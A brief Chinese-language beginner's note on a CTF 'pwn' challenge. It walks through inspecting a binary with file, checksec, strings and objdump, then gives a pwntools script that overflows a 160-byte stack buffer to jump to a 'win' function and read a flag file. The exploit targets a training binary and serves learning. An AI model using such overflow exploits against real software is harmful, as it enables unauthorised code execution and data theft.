PWN 入门

在这里学的

1. Vuln

栈溢出

查程序属性

file file_name

![[Pasted image 20230308160401.png]]

checksec vuln

![[Pasted image 20230308160806.png]]

发现无壳 无动态链接
查字符串

 strings ./vuln | grep flag

![[Pasted image 20230308162125.png]]

可以发现存在文件操作

方便本地测试 在程序目录下构造 flag.txt 内存入一些自己分辨的值 比如 flag{ahh}

直接反汇编 检索文件打开行为

objdump -d vuln -M intel | grep open

![[Pasted image 20230308161545.png]]

确认存在文件打开,全部反汇编试试

 objdump -d vuln -M intel

定位 fopen 所在位置 找到可疑利用点 保存函数地址

![[Pasted image 20230308161504.png]]

构造 exp

from pwn import *
p = process("./vuln")
# gdb.attach(p,"b *0x080485F8\nc")
win = 0x08048586 # 来源就是上面win函数的内存
p.sendline(cyclic(160)+p32(win)) # 程序开辟了160位的char空间 这里占满后利用缓冲区溢出 使其跳转到win函数 执行函数下内容

p.interactive() # 交互

执行

python3 exp.py DEBUG # 调试模式

本地测试通过 构建远程 exp

![[Pasted image 20230308162258.png]]